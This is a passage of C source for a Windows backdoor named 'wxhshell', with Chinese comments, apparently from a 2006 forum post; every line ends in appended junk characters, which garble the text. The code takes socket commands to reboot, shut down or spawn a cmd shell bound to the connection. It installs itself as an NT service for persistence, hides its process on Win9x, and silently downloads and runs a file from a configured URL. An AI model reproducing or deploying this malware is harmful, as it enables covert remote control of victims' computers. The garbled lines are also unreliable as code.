  case '?': { s>a(#6Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t}2M8ue(&  
    break; VcORRUp  
  } HC RmW'  
  // 安装 I8XU '  
  case 'i': { _MzdbUb5,  
    if(Install()) nT%<!/}!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s%@HchZ 1  
    else AxiCpAS;J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^03M~ SNCj  
    break; DX<xkS[P  
    } ;s w3MRJ  
  // 卸载 'ExTnv ~  
  case 'r': { pTE.,~-J^j  
    if(Uninstall()) B0ZLGB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf h*`G$  
    else M*<Bp   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W-ol*S  
    break; F5YHc$3^  
    } =f=,YcRn+  
  // 显示 wxhshell 所在路径 3NlG,e'T2  
  case 'p': { {3N5Fi7S  
    char svExeFile[MAX_PATH]; FSyeDC^@  
    strcpy(svExeFile,"\n\r"); giu8EjzK  
      strcat(svExeFile,ExeFile); 1fcyGZq  
        send(wsh,svExeFile,strlen(svExeFile),0); b)+;@wa~  
    break; W4rh7e4  
    } Nq ZR*/BOz  
  // 重启 H >1mi_1  
  case 'b': { ~.TKzh'eB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ku;8Mx{  
    if(Boot(REBOOT)) 'Q4V(.   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[`%j\=  
    else { m^Rf6O^  
    closesocket(wsh); m95;NT1N/g  
    ExitThread(0); y3NMt6  
    } W=?s-*F[~  
    break; <dX7{="&  
    } ZO!)G   
  // 关机 zXT[}J VV  
  case 'd': { _|KeB(W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )! C|DSw  
    if(Boot(SHUTDOWN)) U66zm9 3&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q-nM]Gm  
    else { b`X"yg+  
    closesocket(wsh); "jAEZ  
    ExitThread(0); #{Gojg`5O  
    } g TqtTd~L  
    break; N0']t Gh2  
    } 6l?\iE  
  // 获取shell D>I|(B!.p8  
  case 's': { >Wr  
    CmdShell(wsh); h&6t.2<e  
    closesocket(wsh); `|g*T~; kC  
    ExitThread(0); O-YB +~"3Z  
    break; ]5hGSl2  
  } X?Z#k~JR  
  // 退出 UY*[='l!)  
  case 'x': { bx%P-r31  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .LEn~ 8  
    CloseIt(wsh); {-kV~p  
    break; /b~|(g31"  
    } 7d'gG[Z^^  
  // 离开 Jz'8|o;^  
  case 'q': { X~5kgq0"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +]NPxUa  
    closesocket(wsh); `DcZpd.n  
    WSACleanup(); A]CO Ysc  
    exit(1); @qWes@  
    break; S!wY6z  
        } *WX,bN6Ot  
  } d&[.=M\E8  
  } w`F4.e  
6=xbi{m$  
  // 提示信息 ~LuR)T=%es  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KgMW  
} ]@UJ 8hDy  
  } Lv`NS+fX  
En]+mIEo  
  return; pX/,s#dY>  
} X1{U''$ K  
cWG?`6xU&  
// shell模块句柄 2V 9vS  
int CmdShell(SOCKET sock) Qg;?C  
{ d)X6x-(  
STARTUPINFO si; d %Z+.O  
ZeroMemory(&si,sizeof(si)); CUo %i/R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "vnWq=E 2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _LUTIqlvi  
PROCESS_INFORMATION ProcessInfo; msiftP.  
char cmdline[]="cmd"; k4ijWo{:0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);   S9Ka  
  return 0; h% T$m_  
} :~1p  
+8etCx  
// 自身启动模式 ".R5K ?  
int StartFromService(void) #aV2+`d  
{ s=xJcLA  
typedef struct  j,c8_;X!  
{ sTALOL<  
  DWORD ExitStatus; y $K#M  
  DWORD PebBaseAddress; ;+/[<bvd"  
  DWORD AffinityMask; ,/P)c*at5  
  DWORD BasePriority; ~J:"sUR  
  ULONG UniqueProcessId; |p1 pa4%}  
  ULONG InheritedFromUniqueProcessId; Ni4*V3VB  
}   PROCESS_BASIC_INFORMATION; JZ  
*l-(tp5  
PROCNTQSIP NtQueryInformationProcess; z|gG%fM  
jS,zdJs=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #r4S%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ihr l!A5  
/6%<97/d  
  HANDLE             hProcess;  #FfUkV  
  PROCESS_BASIC_INFORMATION pbi; z<rYh96uA  
4vk^=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cPgz?,hE  
  if(NULL == hInst ) return 0; ]JXpe]B  
5c~OG6COx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FOU^Wcop%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mjd9]HgN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D>c-h)2|  
oqOXRUy  
  if (!NtQueryInformationProcess) return 0; E'g2<k  
>{dj6Wo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mfNYN4Um6  
  if(!hProcess) return 0; *?#t (Y[  
,^_aqH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  p|D-ez8  
jBvZ>H+w~  
  CloseHandle(hProcess); G'>z~I]6S  
NI^[7.2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @?GOOD_i  
if(hProcess==NULL) return 0; '5mzlR  
!PfIe94{`  
HMODULE hMod; ir4uy  
char procName[255]; n./onv  
unsigned long cbNeeded; E Fx@O  
y ~ A]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jR^>xp;  
I&e ,R  
  CloseHandle(hProcess); W1UG\d`2  
7Lr}Y/1=  
if(strstr(procName,"services")) return 1; // 以服务启动 $^2 j#]uX  
.g7ebh6D  
  return 0; // 注册表启动 uxq!kF'Ls  
} $h Is ab_  
Z' 0Gd@/  
// 主模块 mySm:ToT  
int StartWxhshell(LPSTR lpCmdLine) *n)3y.s  
{ G}tq'#]E{z  
  SOCKET wsl; 2S1wL<qP  
BOOL val=TRUE; (YjY=F  
  int port=0; UN&b]vg  
  struct sockaddr_in door; f.gkGwNk  
sa~.qmqu  
  if(wscfg.ws_autoins) Install(); t-\S/N  
K/ q:aMq  
port=atoi(lpCmdLine); ba?]eK   
13]sZ([B%|  
if(port<=0) port=wscfg.ws_port; vXnTPjbE  
;X u&['  
  WSADATA data; )T6+}   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,/\%-u? 1x  
I3xx}^V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :8;8-c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a#=GLB_P(  
  door.sin_family = AF_INET; f8E S GU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uOEFb  
  door.sin_port = htons(port); BZqb o`9  
FU0&EO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lqOv_q  
closesocket(wsl); %}G:R !4 d  
return 1; DTdL|x.{  
} _Y*: l7  
cI3uH1;#  
  if(listen(wsl,2) == INVALID_SOCKET) { z(^p@&r)F  
closesocket(wsl); V#W(c_g  
return 1; TA=Ij,z~  
} S:] w@$  
  Wxhshell(wsl); Vkex&?>v$  
  WSACleanup(); bw{%X  
>RxZ-.,a  
return 0; T7YzO,b/   
:yvUHx  
} 5:f}bW*  
6^zuRY;  
// 以NT服务方式启动 Dyp'a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -aGv#!aIl  
{ FXFQ@q*}v  
DWORD   status = 0; YTq>K/  
  DWORD   specificError = 0xfffffff; H BmjB=  
AKM\1H3U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &adKKYN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p&bQ_XOH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4qjY,QJ  
  serviceStatus.dwWin32ExitCode     = 0; G%anot  
  serviceStatus.dwServiceSpecificExitCode = 0; Y 3[<  
  serviceStatus.dwCheckPoint       = 0; WJ\YKXG  
  serviceStatus.dwWaitHint       = 0; 8 k+Ctk  
$cH'9W}3K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tk/K7h^  
  if (hServiceStatusHandle==0) return; bt#=p 7 W  
&%J{C3Q9  
status = GetLastError(); |mrAvm}  
  if (status!=NO_ERROR) 52*zX 3  
{ 8(%iYs$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W"|89\p}  
    serviceStatus.dwCheckPoint       = 0; FFtj5e  
    serviceStatus.dwWaitHint       = 0; G:' -|h  
    serviceStatus.dwWin32ExitCode     = status; R\yw9!ESd  
    serviceStatus.dwServiceSpecificExitCode = specificError; ms3Ec`i9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vVKiE 6^  
    return; 1O9V Ej5  
  } e )\s0#  
+(r8SnRX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jKQnox+=  
  serviceStatus.dwCheckPoint       = 0; T:wd3^.CG  
  serviceStatus.dwWaitHint       = 0; g}' "&Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LP_ !g  
} RXgi>Hz  
a&ZH  
// 处理NT服务事件,比如:启动、停止 P 2;j>=W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k  `.-PU  
{ fYx$3a.  
switch(fdwControl) m+DkO{8F  
{  2c!?!:s  
case SERVICE_CONTROL_STOP: vyqlP;K  
  serviceStatus.dwWin32ExitCode = 0; ^l_W9s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 61T"K  
  serviceStatus.dwCheckPoint   = 0; Y cO tPS%  
  serviceStatus.dwWaitHint     = 0; )y.J2_lI8  
  { Cb.~Dv !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y"!+Fus9  
  } !=cW+=1  
  return; GC$Hp!H  
case SERVICE_CONTROL_PAUSE:  V '^s5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .knRH^  
  break; 5`6@CRef  
case SERVICE_CONTROL_CONTINUE: 2#6yO`?uo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b)$<aFl  
  break; E[2c`XFd8  
case SERVICE_CONTROL_INTERROGATE: &OGY?[n  
  break; v.\1-Q?  
}; X,x{!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^7TM.lE  
} =wU08}  
nd_d tsp#  
// 标准应用程序主函数 GR O[&;d`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +n^$4f  
{ u Dm=W36  
&bs/a] ?Z7  
// 获取操作系统版本 ?K I_>{  
OsIsNt=GetOsVer(); 6/s#'#jh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R S;r  
.\{GU9|nO  
  // 从命令行安装 aQ]C`9k  
  if(strpbrk(lpCmdLine,"iI")) Install(); gjvKrg  
vlm&)DIt  
  // 下载执行文件 "-A@>*g  
if(wscfg.ws_downexe) { RjSVa.x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #<4h Y7/  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Yl9%x]3c  
} XL g6?Nu  
_hAp@? M  
if(!OsIsNt) { OPBnU@=R  
// 如果时win9x,隐藏进程并且设置为注册表启动 q%Obrk  
HideProc(); M<~z=B#  
StartWxhshell(lpCmdLine); ~naL1o_FZ  
} J03yFT,dF  
else yXR$MT+~  
  if(StartFromService()) ^C_Y[i ~|  
  // 以服务方式启动 HWFo9as""v  
  StartServiceCtrlDispatcher(DispatchTable); #{UM4~|:  
else Y%|f<C)lx2  
  // 普通方式启动 VoWlBH  
  StartWxhshell(lpCmdLine); ^l7u^j  
4[Hf[.  
return 0; qL,!  
}
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只看该作者 1 发表于: 2006-10-10
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